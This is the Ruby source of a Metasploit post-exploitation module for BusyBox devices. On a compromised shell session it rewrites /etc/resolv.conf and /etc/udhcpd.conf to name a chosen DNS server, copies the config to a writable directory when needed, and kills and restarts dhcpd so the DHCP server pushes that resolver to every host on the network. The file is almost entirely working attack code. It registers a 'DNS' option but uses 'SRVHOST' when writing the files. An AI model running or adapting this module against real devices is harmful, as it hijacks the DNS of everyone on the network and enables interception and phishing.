82 lines
2.7 KiB
Ruby
82 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Linux::BusyBox
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'BusyBox DNS Configuration',
|
|
'Description' => %q{
|
|
This module will be applied on a session connected to a BusyBox shell. It allows
|
|
to set the DNS server on the device executing BusyBox so it will be sent by the
|
|
DHCP server to network hosts.
|
|
},
|
|
'Author' => 'Javier Vicente Vallejo',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux'],
|
|
'SessionTypes' => ['shell']
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptAddress.new('DNS', [ true, 'The dns server address' ])
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
print_status("Searching for files to modify dns server.")
|
|
if busy_box_file_exist?('/etc/resolv.conf')
|
|
modify_resolv_conf
|
|
end
|
|
|
|
if busy_box_file_exist?('/etc/udhcpd.conf')
|
|
modify_udhcpd_conf
|
|
end
|
|
end
|
|
|
|
def modify_resolv_conf
|
|
print_status('File /etc/resolv.conf found')
|
|
if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)
|
|
print_good('DNS server added to resolv.conf')
|
|
end
|
|
end
|
|
|
|
def modify_udhcpd_conf
|
|
print_status('File /etc/udhcpd.conf found')
|
|
|
|
if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
|
|
restart_dhcpd('/etc/udhcpd.conf')
|
|
else
|
|
print_status('Unable to write udhcpd.conf, searching a writable directory...')
|
|
writable_directory = busy_box_writable_dir
|
|
if writable_directory
|
|
print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")
|
|
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
|
|
Rex::sleep(0.3)
|
|
print_status("Adding DNS to #{writable_directory}tmp.conf")
|
|
busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
|
|
restart_dhcpd("#{writable_directory}tmp.conf")
|
|
else
|
|
print_error('Writable directory not found')
|
|
end
|
|
end
|
|
end
|
|
|
|
def restart_dhcpd(conf)
|
|
print_status('Restarting udhcp server')
|
|
cmd_exec('killall dhcpd')
|
|
# in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
|
|
# that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
|
|
# process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
|
|
session.shell_write("dhcpd #{conf} &\n")
|
|
print_good('udhcpd.conf modified and DNS server added. DHCPD restarted')
|
|
end
|
|
end
|